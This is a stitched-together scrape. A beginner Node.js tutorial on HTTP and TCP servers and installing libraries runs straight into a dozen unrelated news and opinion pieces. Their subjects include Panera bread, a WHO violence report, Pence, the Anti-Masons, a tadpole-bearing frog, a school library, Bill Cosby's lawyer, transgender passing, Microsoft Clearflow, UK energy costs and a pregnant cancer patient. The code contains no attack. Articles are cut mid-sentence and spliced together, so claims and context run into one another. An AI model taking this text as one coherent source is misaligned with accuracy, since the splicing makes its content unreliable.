hello-http.js // Load the http module to create an http server.
var http = require ( 'http' );
// Configure our HTTP server to respond with Hello World to all requests.
var server = http. createServer ( function ( request, response ) {
response. writeHead ( 200, { "Content-Type" : "text/plain" });
response. end ( "Hello World
" );
});
// Listen on port 8000, IP defaults to 127.0.0.1
server. listen ( 8000 );
// Put a friendly message on the terminal
console. log ( "Server running at http://127.0.0.1:8000/" );
Hello TCP
Node also makes an excellent TCP server, and here is an example that responds to all TCP connections with the message "Hello World" and then closes the connection.
hello-tcp.js // Load the net module to create a tcp server.
var net = require ( 'net' );
// Creates a new TCP server. The handler argument is automatically set as a listener for the 'connection' event
var server = net. createServer ( function ( socket ) {
// Every time someone connects, tell them hello and then close the connection.
console. log ( "Connection from " + socket. remoteAddress );
socket. end ( "Hello World
" );
});
// Fire up the server bound to port 7000 on localhost
server. listen ( 7000, "localhost" );
// Put a friendly message on the terminal
console. log ( "TCP server listening on port 7000 at localhost." );
Hello Router
Often you won't be using the node built-in libraries because they are designed to be very low level. This makes node quick, nimble, and easy to maintain, but is usually not enough to get started on a real world application. My first node framework is node-router. This example shows an HTTP server that responds with "Hello World" to all requests to "/" and responds with a 404 error to everything else.
hello-router.js // Load the node-router library by creationix
var server = require ( 'node-router' ). getServer ();
// Configure our HTTP server to respond with Hello World the root request
server. get ( "/", function ( request, response ) {
response. simpleText ( 200, "Hello World!" );
});
// Listen on port 8080 on localhost
server. listen ( 8000, "localhost" );
In order to test this, you will need to install the node-router library. There are two ways to do this. You can either install it into a path that node recognizes (I create a symlink into ~/.node_libraries) or put the node-router.js file in your application and reference it locally. See the node docs on modules for more details on how modules work.
Installing Libraries
I'll install the following libraries that are common to my projects:
node-router - Wraps the built-in http library with many convenience functions like request routing and message body decoding.
haml-js - Template engine that compiles HAML templates into HTML
proto - Baby library that adds some useful stuff to Object.prototype
You can install these however you please, but here is how I'd do it. The following code will clone the four libraries and install them into your local node library search path:
install.sh mkdir ~ /NodeLibs
cd ~/ NodeLibs
git clone git : //github.com/creationix/node-router.git
git clone git : //github.com/creationix/haml-js.git
git clone git : //github.com/creationix/proto.git
mkdir ~ /.node_libraries
cd ~/. node_libraries
ln - s ~ /NodeLibs/ * /lib/ *./
That's it for now, this article was going to explain more, but it seems it got lost and fell through the cracks. Hopefully this will help you get started working with node.JS, it's a blast!.
DisqusPanera Bread’s Rosemary Focaccia Roll. (Photo: Courtesy Panera)
Panera Bread, the national-fast casual restaurant that centers around freshly baked goods, is now testing out a new product to lure in gluten-free customers.
The company has plans to test out a Rosemary Focaccia Roll in 15 stores in the Detroit area starting at the end of the month with plans to take the product nation-wide in the second half of 2016.
Gluten, a protein found in wheat and other grains including barley and rye, gives elasticity to dough, helping bread rise and keep its shape. Creating bread without it is notoriously tricky.
“I went kicking and screaming into the world of gluten-free bread as an artisan baker,” said Tom Gumpel, the head baker for Panera. “There is little to no good-tasting gluten-free bread in this country, and I’ve eaten about every slice there is.”
MORE: These Gluten-Free Pumpkin Pancakes Will Be Your New Fave Fall Breakfast
While only about 1 percent of the U.S. popular is said to have an allergy to gluten, the gluten-free diet trend has become very popular in recent years with gluten-free products, like this specialty flour, lining grocery-store shelves. More than half of specialty food manufacturers considering the products a high priority for innovation, according to the Specialty Food Association.
“There is clearly consumer interest and demand for gluten-free items, and their taste and quality has vastly improved,” said Louise Kramer, the communications director for the Specialty Food Association. “The question is whether this will have staying power as a long-term trend, versus a dietary fad.”
Panera may seem slow to embrace the trend, but finding a product they were happy with was difficult, Gumpel said.
“A lot of people might have beat us to the game but go taste the stuff that’s out there,” Gumpel said, adding that to recreate the elasticity gluten provides, other manufactures rely on artificial ingredients, gums, and chemicals.
MORE: 3 Myths About Gluten You Probably Believe
Panera’s solution was to create a focaccia roll rather than a loaf of bread. The roll is made from white sorghum from Africa, and studded with sprouted broccoli, chia, and flax seeds for their nutritional benefit and to give the loaf texture.
Yahoo Food got a preview of the new item which is dense with a chewy texture. It’s made with olive oil and and then coated in it, which gives the bread a somewhat greasy feel. The flavor is improved when it’s toasted, becoming more nutty and rich. It would work best on a breakfast or hot sandwich.
The chain is calling the bread “gluten-conscious” because while it is made in gluten-free facility and with gluten-free ingredients, it will be stored and served alongside the store’s regular offerings, which could pose a problem for those with extreme sensitivities.
In the test region, it will cost $1.50 more as an option on a sandwich, 75 cents more as a side choice, and a $1 each if bought at retail.
MORE: 20 Decadent Cakes You Won’t Believe Are Gluten-FreeViolence against women: a ‘global health problem of epidemic proportions’
New clinical and policy guidelines launched to guide health sector response
20 June 2013 | Geneva - Physical or sexual violence is a public health problem that affects more than one third of all women globally, according to a new report released by WHO in partnership with the London School of Hygiene & Tropical Medicine and the South African Medical Research Council.
The report, Global and regional estimates of violence against women: Prevalence and health effects of intimate partner violence and non-partner sexual violence, represents the first systematic study of global data on the prevalence of violence against women – both by partners and non-partners. Some 35% of all women will experience either intimate partner or non-partner violence. The study finds that intimate partner violence is the most common type of violence against women, affecting 30% of women worldwide.
The study highlights the need for all sectors to engage in eliminating tolerance for violence against women and better support for women who experience it. New WHO guidelines, launched with the report, aim to help countries improve their health sector’s capacity to respond to violence against women.
Impact on physical and mental health
The report details the impact of violence on the physical and mental health of women and girls. This can range from broken bones to pregnancy-related complications, mental problems and impaired social functioning.
“These findings send a powerful message that violence against women is a global health problem of epidemic proportions,” said Dr Margaret Chan, Director-General, WHO. “We also see that the world’s health systems can and must do more for women who experience violence.”
The report’s key findings on the health impacts of violence by an intimate partner were:
Death and injury – The study found that globally, 38% of all women who were murdered were murdered by their intimate partners, and 42% of women who have experienced physical or sexual violence at the hands of a partner had experienced injuries as a result.
– The study found that globally, 38% of all women who were murdered were murdered by their intimate partners, and 42% of women who have experienced physical or sexual violence at the hands of a partner had experienced injuries as a result. Depression – Partner violence is a major contributor to women’s mental health problems, with women who have experienced partner violence being almost twice as likely to experience depression compared to women who have not experienced any violence.
– Partner violence is a major contributor to women’s mental health problems, with women who have experienced partner violence being almost twice as likely to experience depression compared to women who have not experienced any violence. Alcohol use problems – Women experiencing intimate partner violence are almost twice as likely as other women to have alcohol-use problems.
– Women experiencing intimate partner violence are almost twice as likely as other women to have alcohol-use problems. Sexually transmitted infections – Women who experience physical and/or sexual partner violence are 1.5 times more likely to acquire syphilis infection, chlamydia, or gonorrhoea. In some regions (including sub-Saharan Africa), they are 1.5 times more likely to acquire HIV.
– Women who experience physical and/or sexual partner violence are 1.5 times more likely to acquire syphilis infection, chlamydia, or gonorrhoea. In some regions (including sub-Saharan Africa), they are 1.5 times more likely to acquire HIV. Unwanted pregnancy and abortion – Both partner violence and non-partner sexual violence are associated with unwanted pregnancy; the report found that women experiencing physical and/or sexual partner violence are twice as likely to have an abortion than women who do not experience this violence.
– Both partner violence and non-partner sexual violence are associated with unwanted pregnancy; the report found that women experiencing physical and/or sexual partner violence are twice as likely to have an abortion than women who do not experience this violence. Low birth-weight babies – Women who experience partner violence have a 16% greater chance of having a low birth-weight baby.
“This new data shows that violence against women is extremely common. We urgently need to invest in prevention to address the underlying causes of this global women’s health problem.” said Professor Charlotte Watts, from the London School of Hygiene & Tropical Medicine.
Need for better reporting and more attention to prevention
Fear of stigma prevents many women from reporting non-partner sexual violence. Other barriers to data collection include the fact that fewer countries collect this data than information about intimate partner violence, and that many surveys of this type of violence employ less sophisticated measurement approaches than those used in monitoring intimate partner violence.
“The review brings to light the lack of data on sexual violence by perpetrators other than partners, including in conflict-affected settings,” said Dr Naeemah Abrahams from the SAMRC. “We need more countries to measure sexual violence and to use the best survey instruments available.”
In spite of these obstacles, the review found that 7.2% of women globally had reported non-partner sexual violence. As a result of this violence, they were 2.3 times more likely to have alcohol disorders and 2.6 times more likely to suffer depression or anxiety – slightly more than women experiencing intimate partner violence.
The report calls for a major scaling up of global efforts to prevent all kinds of violence against women by addressing the social and cultural factors behind it.
Recommendations to the health sector
The report also emphasizes the urgent need for better care for women who have experienced violence. These women often seek health-care, without necessarily disclosing the cause of their injuries or ill-health.
“The report findings show that violence greatly increases women’s vulnerability to a range of short- and long-term health problems; it highlights the need for the health sector to take violence against women more seriously,” said Dr Claudia Garcia-Moreno of WHO. “In many cases this is because health workers simply do not know how to respond.”
New WHO clinical and policy guidelines released today aim to address this lack of knowledge. They stress the importance of training all levels of health workers to recognize when women may be at risk of partner violence and to know how to provide an appropriate response.
They also point out that some health-care settings, such as antenatal services and HIV testing, may provide opportunities to support survivors of violence, provided certain minimum requirements are met.
Health providers have been trained how to ask about violence.
Standard operating procedures are in place.
Consultation takes place in a private setting.
Confidentiality is guaranteed.
A referral system is in place to ensure that women can access related services.
In the case of sexual assault, health care settings must be equipped to provide the comprehensive response women need – to address both physical and mental health consequences.
The report’s authors stress the importance of using these guidelines to incorporate issues of violence into the medical and nursing curricula as well as during in-service training.
WHO will begin to work with countries in South-East Asia to implement the new recommendations at the end of June. The Organization will partner with ministries of health, non-governmental organizations (NGOs) and sister United Nations agencies to disseminate the guidelines, and support their adaptation and use.
Notes to Editors:
In March 2013, Dr Chan joined the UN Secretary General and the heads of other UN entities in a call for zero tolerance for violence against women at the Commission on the Status of Women in New York.
During the Sixty-sixth World Health Assembly in May 2013, seven governments - Belgium, India, Mexico, Netherlands, Norway, United States of America, and Zambia - declared violence against women and girls "a major global public health, gender equality and human rights challenge, touching every country and every part of society" and proposed the issue should appear on the agenda of the Sixty-seventh World Health Assembly.
About the report
The report was developed by WHO, the London School of Hygiene & Tropical Medicine and the South African Medical Research Council. It is the first systematic review and synthesis of the body of scientific data on the prevalence of two forms of violence against women – violence by an intimate partner and sexual violence by someone other than an intimate partner. It shows for the first time, aggregated global and regional prevalence estimates of these two forms of violence, generated using population data from all over the world that have been compiled in a systematic way.
The report documents the effects of violence on women’s physical, mental, sexual and reproductive health. This was based on systematic reviews looking at data on the association between the different forms of violence considered and specific health outcomes.
Regional data
The report represents data regionally according to WHO regions.
For intimate partner violence, the type of violence against women for which more data were available, the worst affected regions were:
South-East Asia - 37.7% prevalence. Based on aggregated data from Bangladesh, Timor-Leste (East Timor), India, Myanmar, Sri Lanka, Thailand.
Eastern Mediterranean - 37% prevalence. Based on aggregated data from Egypt, Iran, Iraq, Jordan, Palestine.
Africa – 36.6% prevalence. Based on aggregated data from Botswana, Cameroon, Democratic Republic of Congo, Ethiopia, Kenya, Lesotho, Liberia, Malawi, Mozambique, Namibia, Rwanda, South Africa, Swaziland, Uganda, United Republic of Tanzania, Zambia, Zimbabwe.
For combined intimate partner and non-partner sexual violence or both among all women of 15 years or older, prevalence rates were as follows:
Africa – 45.6%
Americas – 36.1%
Eastern Mediterranean – 36.4%* (No data were available for non-partner sexual violence in this region)
Europe – 27.2%
South-East Asia – 40.2%
Western Pacific – 27.9%
High income countries – 32.7%
For more information please contact:
Keletso Ratsela
South African Medical Research Council
Telephone: +27 12 339 8500, +27 82 804 8883
E-mail: Keletso.Ratsela@mrc.ac.za
Fadéla Chaib
WHO
Telephone: +41 22 791 3228
Mobile: +41 79 475 5556
E-mail: chaibf@who.int
Jenny Orton/Katie Steels
London School of Hygiene & Tropical Medicine
Telephone: +44 (0)20 7927 2802
E-mail: press@lshtm.ac.ukStory highlights The report noted speculation about whether Trump will make it through his first term and go on to run for re-election
Pence and Conway both blasted the notion
Washington (CNN) Vice President Mike Pence sought to bat down a report from The New York Times on Sunday that said he would plan to run for president should President Donald Trump not seek a second term.
"Today's article in The New York Times is disgraceful and offensive to me, my family, and our entire team," Pence's statement read.
The statement went on to say the suggestion that Pence was not working solely for Trump's agenda and re-election was "laughable and absurd."
The vice president's decision to rebut the story Sunday through an official written statement rather than verbally or through a spokesperson was a rare move from a high-ranking administration official.
The Times' report noted Pence's aggressive political schedule and fund-raising operation and said multiple advisers told donors that Pence would run for president if Trump did not.
Read MoreThe presidential nominating convention, that quadrennial blend of circus and speechfest, was originated not by the two major parties, but by a little-known and short-lived group who called themselves the Anti-Masons. How did this band of zealots come to found a national institution? The story revolves around a mystery.
In 1826, the Erie Canal corridor across New York state was bringing raging prosperity and not a little anxiety to a land that had recently been a frontier. The patriotic New England Yankees who settled the region were ultra-sensitive to intimations that the American Republic was losing its bearings.
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In September of that year, Freemasons along the canal abducted a man named William Morgan. A disgruntled Mason himself, Morgan had written a book exposing Masonic secrets. He imagined a bestseller. Alarmed local Masons took the law into their own hands. They imprisoned Morgan in a disused fort on the Niagara River. A few days later, he disappeared. His fate remains unknown to this day.
It took a public outcry to move the authorities to apprehend Morgan’s abductors and probable killers. Most local magistrates, judges and sheriffs were themselves Masons. Masonic witnesses stonewalled the courts. Those convicted received trivial sentences. Outrage along the canal corridor grew.
Speakers at public meetings suddenly saw Freemasonry as an insidious conspiracy to replace government by the people with an aristocracy. The brotherhood was indeed top-heavy with citizens of means, although there were plenty of working-class members like Morgan himself. It was equally true that many prominent politicians, including New York Governor DeWitt Clinton, the canal’s champion, were Masons. But the notion of a Freemason plot was purely a product of the anxiety that rapid change was bringing to the newly opened lands west of the Appalachians.
The movement gained energy from the settlers’ enthusiasm for militant Christianity. An Anti-Masonic minister declared Freemasonry to be the “darkest and deepest plot that ever was formed in this wicked world against the true God, the true religion.”
Women had long resented husbands who devoted their time to lodge meetings, where liberal drinking was the rule. They helped energize a movement that quickly became a political groundswell. “Reason and religion equally demand [Freemasonry’s] overthrow,” one group of ladies proclaimed.
By 1831, the Anti-Masons had formed a political party and were ready to run a candidate for president. The question was how to choose a standard-bearer. The Constitution had made no provision for the selection of candidates, so parties were free to make up their own rules.
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Beginning in 1800, the Congressional caucus of each party met to make the choice. This system was already outdated by the 1830s, and anyway the Anti-Masons had no members in Congress to form a caucus. Having built their movement through public meetings and state conventions, they quite naturally turned to the same means for choosing a candidate.
Not wasting any time, national delegates met more than a year before the election. The first ever presidential nominating convention opened in Baltimore in September 1831. The party selected William Wirt, a respected former attorney general (and a former Mason), to represent them in 1832. They also originated the formal political platform. Their statement of principles included an endorsement of public works spending, support for temperance, and insistence on the suppression of secret societies.
Members of the ailing National Republican party followed suit with their own conclave in December, tapping Henry Clay as their candidate. Although President Andrew Jackson was certain to be selected to run for a second term, the Democrats saw that the other parties had profited from the publicity and morale boost of a national meeting. The Dems held their first convention in March 1832.
William Wirt won only a single state, Vermont. He may have taken some votes from Clay, but it really didn’t matter–Jackson won handily. As more and more Masonic lodges closed their doors, the Anti-Masons suffered from their own success. The hyperbole that had fueled their anger began to ring hollow. Prominent party members, including political heavyweight William Seward, steered them toward other concerns, including the abolition of slavery.
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By 1836, the Anti-Masons had become a powerful faction of the Whig Party, whose members joined with anti-slavery Democrats twenty years later to found the new Republican Party. In the contentious nominating convention of 1860, Seward lost out to an Illinois lawyer named Abraham Lincoln. The Anti-Masons disappeared; the convention proved a robust institution.The newly described frog L. larvaepartus (male, left, and female) from the island of Sulawesi in Indonesia. It is the only frog known that gives direct birth to tadpoles. (Jim McGuire)
Most frogs lay unfertilized eggs to reproduce, but some species have weird variations on the model. There are frogs that fertilize their eggs inside their bodies before laying them, and even ones that allow those eggs to hatch inside them and emerge as fully-formed froglets (fair warning, that link goes to a video of baby frogs squeezing out of holes in their mom's back).
Now, for the first time, scientists have found a frog that gives birth to something in between: live, wriggling tadpoles.
"This new frog is one of only 10 or 12 species that has evolved internal fertilization, and of those, it is the only one that gives birth to tadpoles, as opposed to froglets or laying fertilized eggs," Jim McGuire from the University of California told the BBC. McGuire and his colleagues published their discovery of the frog earlier this week in the journal PLOS ONE.
The new frog is called Limnonectes larvaepartus -- a name that translates to "marsh swimmer that gives birth to larvae" -- and lives in Indonesia. It's known as a fanged frog, because the males of the species have two lower jaw projections that they use to fight each other.
Ben Tapley, team leader of herpetology at the Zoological Society of London (who wasn't involved in the frog's discovery) told the BBC that the frog itself is actually kind of boring -- until you look at its reproductive practices.
"Finding a new species is not that rare - but actually discovering a new reproductive mode is," Tapley said. "There are more than 40 of these modes in amphibians, but this one is obviously totally unique."
Two tadpoles, each about 10 millimeters long, shortly after birth. (Jim McGuire)
"Reproduction in most frogs could not be more different from human reproduction," study author McGuire told Reuters. "In this case, what is most interesting, ironically, is that the reproductive mode is more similar to our own."
Because when it comes down to it, this is basically what humans do: We don't give birth to autonomous little humans capable of hopping away, but our reproductive systems certainly do plenty of internal baking before a baby is born. Giving birth to a tadpole is sort of like giving birth to an infant.
Ish.
What's really cool about Limnonectes larvaepartus is that scientists don't know how it manages its strange method of reproduction. Frogs don't have the sexual organs traditionally associated with internal sperm/egg meet-ups. Some species that use internal fertilization have developed tails that act as pseudo-penises, pushing sperm into the female's body, but male Limnonectes larvaepartus don't have those.
And since the researchers haven't watched a female give birth to tadpoles in the wild (though one did spew them out when a researcher picked her up), it's possible that the species is even more unique. Perhaps, the researchers write, the frogs actually intend to give birth to little froglets -- but are also capable of dropping tadpoles that can survive in the outside world, in a pinch. This is unlikely, they say, but a frog who could choose to give birth to babies, which are in different stages of development, would be a singular species indeed.Spread the love
The apparent battle between Apple and the FBI at least tells us that the post-Snowden privacy debate is still alive. The subject of the controversy is an iPhone belonging to one of the San Bernardino shooters, and the FBI did not choose this case randomly.
If the surveillance state is to have any hope of gaining their vaunted “backdoor” into the electronic devices of everyone, then preying on the fear of terrorism has the biggest chance of success.
James Comey appears quite earnest about protecting Americans from evil:
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difficulty finding adequate facilities.
“We always plan to have a library,” said Emily Lawson, founder and chief executive of D.C. Prep. “But first we need to get a permanent facility and then grow to a certain size.”
The first D.C. Prep school opened in a temporary location in 2003. It moved the next year to a former warehouse in Ward 5 and later opened an elementary school in another former warehouse down the street. Both Edgewood campuses have school libraries staffed by volunteers.
D.C. Prep’s Benning Elementary School campus opened in 2008 in a former D.C. public school building, and it was renovated last year. It had space for a library, but that space largely stored books for reading instruction, Lawson said.
When she heard that the city’s library system was looking for a charter school to host a branch library last summer, she volunteered for the pilot. “It helped us get a better library much faster,” she said.
It was an attractive deal for the school. D.C. Prep furnished the room and installed the shelves. D.C. Public Library provided the collection, about 5,000 children’s books, as well as the librarians. A children’s librarian from the Dorothy I. Height/Benning library and an intern staff the library two days a week.
Funding for the pilot came from a one-time supplement to D.C. Public Library’s collection budget at end of fiscal 2014, said George Williams, a spokesman for the public libraries. The budget for the new branch at DC Prep is $50,000, but only about half that amount has been spent, he said.
The pilot program is one of a few partnerships developing between the city’s public libraries and public schools.
School and library officials are working on a system to provide all D.C. public school students with a library card on their first day of school, said Richard Reyes-Gavilan, executive director of the D.C. Public Library.
The public libraries and D.C. Public Schools are launching a feasibility study to explore centralizing their online book catalogue, and the ordering, purchasing and delivering of new books and materials.
Two sets of city employees are doing similar jobs, Reyes-Gavilan said. He is interested in ways that the systems can share staffing and resources, including books.
He cited the “Limitless Libraries” program in Nashville as a possible model. There, student ID cards serve as library cards and students check out books from a shared catalogue and have them delivered at school.
D.C. Public Schools is interested in tapping a larger collection of books as it works to build up more equitable library collections across the system.
Historically, the school system did not fund library books annually, and schools relied on philanthropic support or parent donations to stock shelves. That yielded large collections in some schools and small, outdated collections in many others.
D.C. Schools Chancellor Kaya Henderson announced in March that next year’s budget will include a per-student allocation for books ranging from $20 to $30, depending on a school’s population of students who are considered at risk because of poverty or other factors. The D.C. Public Education Fund is raising money to address the disparities.
Scott Pearson, executive director of the city’s charter board, said he hopes the partnership with the D.C. Public Library can expand so that more charter schools can host public libraries.
The public library system is surveying students at D.C. Prep about their reading habits and interest in reading before and after the opening of the branch library to see what impact it has.
“Meeting state benchmarks is a goal,” said Maura Englender, assistant principal of academics at D.C. Prep, referring to annual learning and testing goals. “But we want motivation around reading to be high.”
The school library seems to be helping with that, she said.
In the weeks since it opened, a library club has developed. A group of students come in every Tuesday at the end of the day to check out extra books. And lunchroom conversations often revolve around books, especially on days that the students visit the school library, she said.
One group of third-grade boys jockeys for the chance to check out books from the “Big Nate” series of children’s novels, based on a comic strip. They take turns and are often urging one another to hurry up so they can have their turn with the next book in the series.
“For that to happen with 8-year-old boys is so exciting,” Englender said.Monique Pressley has the unenviable job not only of defending Bill Cosby against sexual assault allegations made against him but also of dealing with public opinion on the matter. And she is surprisingly good at both of those things.
Watching Pressley on TV, it’s clear that she knows what she’s doing. For example, when she appeared on Tom Joyner’s morning radio show, he was left astonished, saying, “You know, Monique Pressley, I never heard of you before this, but just listening to you just now, I think Bill Cosby has chosen a very good attorney because you broke that down.”
Atlanta attorney Chris Stewart, who was part of the history-making mock trial team that Pressley helped coach into championship, said that her grace on the air is just part of her skill as a lawyer. “Who you are seeing on television is exactly who she is. She will talk to you the way she talks in those interviews: Firm. She’s not going to play around. She’s not going to let somebody misquote her or misquote her client. And you better memorize everything, because she already has,” he said.
But analysts say she wasn’t just hired for her skill, though it certainly is undeniable that she brings her A game to every interview and television appearance.
Below is an interview with Huff Post Live host Marc Lamont Hill where Pressley seamlessly addresses many public concerns about the case without batting an eyelash.
“Her gender and her race matter, because Bill Cosby is being charged with sexual assault of several women. A large number of those women are white women. I think there’s a certain extent to which the idea of racial solidarity plays in here,” said Lolita Buckner Inniss, a former prosecutor and professor at Cleveland-Marshall College of Law at Cleveland State University. “The idea that if an intelligent, well-spoken black woman stands with Bill Cosby on this, then perhaps some of those people who accuse Bill Cosby are lying.”
As the charges against Bill Cosby proceed, Buckner Inniss said it’s important to keep an eye on the drama while keeping your head clear with the facts, watching for “an epic demonstration of theatrics and legal performances.”
Bill Cosby went and hired a real life Olivia Pope. #MoniquePressley — J.Russ (@JdotRUSS) January 7, 2016
https://twitter.com/Anti_Intellect/status/684043441353945088
I don't know if Bill Cosby is guilty or not but I know his attorney Monique Pressley is a BEAST. I love hearing her speak. — Charlamagne Tha God (@cthagod) January 4, 2016
https://twitter.com/RicoDWriter/status/685531924589182976
I wonder: if #MoniquePressley was defending, say, George Zimmerman, would y'all still be salivating over her skill and "badassery"? Hmm. — 🔥 damone. (@DamoneWilliams_) January 6, 2016
https://twitter.com/Anti_Intellect/status/684534204529524737
Listen…this attorney right here! "Why isn't your client asserting his innocence."
"Cause he don't have to!"… https://t.co/6ZJKA401lg — Shalimar Blakely (@apeaceofpr) January 6, 2016
https://twitter.com/thejasminebrand/status/685624822227976192Why is “blending in” such a fraught topic for transgender people? adisa/Thinkstock
For most people, the process of assigning gender to others is completely unconscious. Your brain puts together a number of cues, some obvious and others so subtle you aren’t fully aware of them, and in the vast majority of cases you come up with a near instant determination of either male or female. From that moment on, you will confidently refer to this person as she or he, group them with either men or women. For most cisgender people this process happens so smoothly, and is so rarely in error, that they never even think about it.
For transgender people, however, being unconsciously grouped with the correct gender (rather than incorrectly taken for members of our birth-assigned gender) is something most of us worry about quite a bit, at least at some point in our lives. The commonly used term for a trans person being correctly gendered by strangers is “passing.” But passing is a contested term because it contains a contradiction: It implies there’s something false or surreptitious about being seen as our authentic selves.
Despite this, trans people have created a great many websites devoted to passing and subreddits for trans people to post pictures and solicit opinions about how they’re succeeding at it. The trans community also engages in ongoing discussions about “passing privilege” (a term for the benefits that come with being taken for cis by cis people), and the extent to which the pursuit of passing is a legitimate goal or a sign of bowing to cis-normative standards. At one extreme, there are trans people who have cut ties with anyone who knew them pre-transition so that they never encounter anyone who thinks of them as deviating from the cisgender norm. On the other side, there are trans people who completely reject cisgender norms and present their gender in intentionally confounding ways, a practice sometimes known as “genderfuck.”
Most of us fall somewhere in between. For me, after about a year of weekly testosterone injections, strangers will usually gender me correctly as a male, but I wouldn’t cut ties with my past to avoid being misgendered by friends and family who knew me pre-transition. Before I passed, I longed to be perceived as male, obsessed about it, and made my wife crazy in my clumsy early attempts at forcing it. Now that the time has come, the experience of other people spontaneously and effortlessly seeing me as a male is everything I hoped it would be. It eases the nagging discomfort of dysphoria, allows me to finally stop standing out in a crowd, and I feel subtly but profoundly at ease when I my male identity is taken as a given by others, rather than undermined by them.
Passing feels great (at least for me), so why isn’t it the first priority for all trans people seeking acceptance? After all, even conservatives struggle to articulate reasons why trans people who appear cisgender belong in the wrong bathrooms. Social conservatives’ biggest problem with transgender people isn’t that we exist, but that we don’t police the boundaries of our identity strictly enough for their liking.
The trans community generally rejects any standard for inclusion other than a trans person’s own self-determination. We treat a transgender person who is closeted and presenting entirely as their birth-assigned gender as neither more nor less trans than one who has had multiple surgeries and passes in 100 percent of cases. As a rule, we don’t recognize the authority of doctors or psychiatrists to determine who is or is not genuine, either. In fact, trans advocacy has consistently pushed in the opposite direction, for fewer gatekeepers, and for the inclusion of non-binary people (who seek to expand gender beyond the categories of male and female) under the trans umbrella.
Trans people who pass as cis aren’t the ones conservative groups seek to conjure in the minds of fearful voters, so why doesn’t the trans community embrace some sort of passing standard?
For many of the more politically active trans people, this idea is anathema because it imposes cisnormative, binary standards of male and female appearance on transgender people and their bodies. But, there’s a more practical, gut-level reason why the trans community shies away from gatekeeping and boundary enforcing, which is that transitioning is frightening, difficult, and often very expensive—and even the most effortlessly passing trans person was once on the other side of the process.
We’ve all wondered if we could convince other people to believe what we were saying about ourselves, or whether a doctor or a shrink would take us seriously. We’ve all worried at some point along the way that we weren’t passing or might never pass. Some trans bodies are more easily read correctly than others, some trans people have more resources to put into changing their bodies than others, and some trans people are more successful at accepting their deviations from cisgender expectations than others. But all of us have wondered and worried and struggled with the prospect of passing. To reject those who can’t yet be gendered correctly, or those who never will be, would be to reject our selves.SAN FRANCISCO — Microsoft on Thursday plans to introduce a Web-based service for driving directions that incorporates complex software models to help users avoid traffic jams.
The new service’s software technology, called Clearflow, was developed over the last five years by a group of artificial-intelligence researchers at the company’s Microsoft Research laboratories. It is an ambitious attempt to apply machine-learning techniques to the problem of traffic congestion. The system is intended to reflect the complex traffic interactions that occur as traffic backs up on freeways and spills over onto city streets.
The Clearflow system will be freely available as part of the company’s Live.com site (maps.live.com) for 72 cities in the United States. Microsoft says it will give drivers alternative route information that is more accurate and attuned to current traffic patterns on both freeways and side streets.
A system for driving directions that Microsoft introduced last fall was limited, because without Clearflow there was no information available about traffic conditions on city streets adjacent to the highways. Because the system assumed that those routes would be clear, drivers were on occasion sent into areas that were more congested than the freeways.
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The new service will on occasion plan routes that might not be intuitive to a driver. For example, in some cases Clearflow will compute that a trip will be faster if a driver stays on a crowded highway, rather than taking a detour, because side streets are even more backed up by cars that have fled the original traffic jam.Remember these chaps? This time they’ll be putting out the book fires rather than starting them.
From Benny Peiser’s daily newsletter, it appears to be time for a revolt in Britain:
GREEN BRITAIN: PENSIONERS BURN BOOKS TO STAY WARM Metro News, 5 January 2010 Excerpts:
Hard-up pensioners have resorted to buying books from charity shops and burning them to keep warm.
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Temperatures this week are forecast to plummet as low as -13ºC in the Scottish Highlands, with the mercury falling to -6ºC in London, -5ºC in Birmingham and -7ºC in Manchester as one of the coldest winters in years continues to bite. Workers at one charity shop in Swansea, in south Wales, described how the most vulnerable shoppers were seeking out thick books such as encyclopaedias for a few pence because they were cheaper than coal. A lot of them buy up large hardback volumes so they can stick them in the fire to last all night.’ A 500g book can sell for as little as 5p, while a 20kg bag of coal costs £5. Since January 2008, gas bills have risen 40 per cent and electricity prices 20 per cent, although people over 60 are entitled to a winter fuel allowance of between £125 and £400.
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And it appears the problem is only going to get worse….
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GREEN BRITAIN FACES ENERGY NIGHTMARE Daily Mail, 3 January 2010 Tom McGhie Household gas and electricity bills are expected to rocket fourfold to nearly £5,000 a year by the end of the decade to meet Government-imposed green targets. And the price heavy industry will have to pay by 2020 is so high that energy-dependent firms could be wiped out, causing thousands of job losses, said an industry spokesman. A massive rethink on the cost of ‘green energy’ is taking place in Whitehall among senior regulators and industry, leading some to question whether the public will be prepared to pay increasingly high bills for the UK to become greener than most countries. Officials at regulator Ofgem now privately admit that a report they issued only last year severely underestimates the cost of cutting carbon emissions by building a new energy infrastructure for the UK.
more here:
http://www.dailymail.co.uk/money/article-1240201/Watchdog-rethinks-consumer-cost-green-energy.html
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RedditShe rejected chemotherapy and chose to die of cancer so she could give birth to her child
The headaches began sometime in March. They didn't think much of them, other than that they were possible migraines - until she started vomiting.
An initial scan showed a mass in Carrie DeKlyen's brain. More tests showed that it was a form of cancer, possibly lymphoma, but treatable. But a pathology exam revealed a more grim diagnosis. The 37-year-old mother of five from Wyoming, Michigan, had glioblastoma, an aggressive form of brain cancer. If lucky, she could live for five more years.
The tumor was taken out during a surgery in April, her husband, Nick DeKlyen, said. Not even a month later, the couple received two pieces of shocking news. Carrie's tumor was back - and she was eight weeks pregnant.
They had two options. They could try to prolong Carrie's life through chemotherapy, but that meant ending her pregnancy. Or they could keep the baby, but Carrie would not live long enough to see the child.
It was a difficult but obvious choice for the DeKlyens, who live strongly by their faith. After a second surgery to remove the tumor that came back, the couple went home, knowing full well that Carrie had only months left. Nick said his wife needed to live 34 more weeks.
"That's what she wanted," Nick said. "We love the Lord. We're pro-life. We believe that God gave us this baby."
By the end of June, the tumor was back again, but this time, it was inoperable. Doctors told the DeKlyens that all they could do was keep taking out the fluid accumulating in Carrie's brain to relieve the pain, Nick said.
Carrie was rushed back to the University of Michigan hospital in Ann Arbor by mid-July. She was screaming in pain and was convulsing. That was the last time she was conscious.
"They said that she had a massive stroke," Nick said. "They said the fluid built up so much the cranium had no place to go."
Carrie was 19 weeks pregnant by then. Nick said doctors told him they would do what they could to keep the child growing. But Carrie would probably not wake up again, and if she did, she wouldn't recognize her family. She had suffered significant brain damage from the stroke. For the next several weeks, a feeding tube and a breathing machine would keep the mother and her child alive.
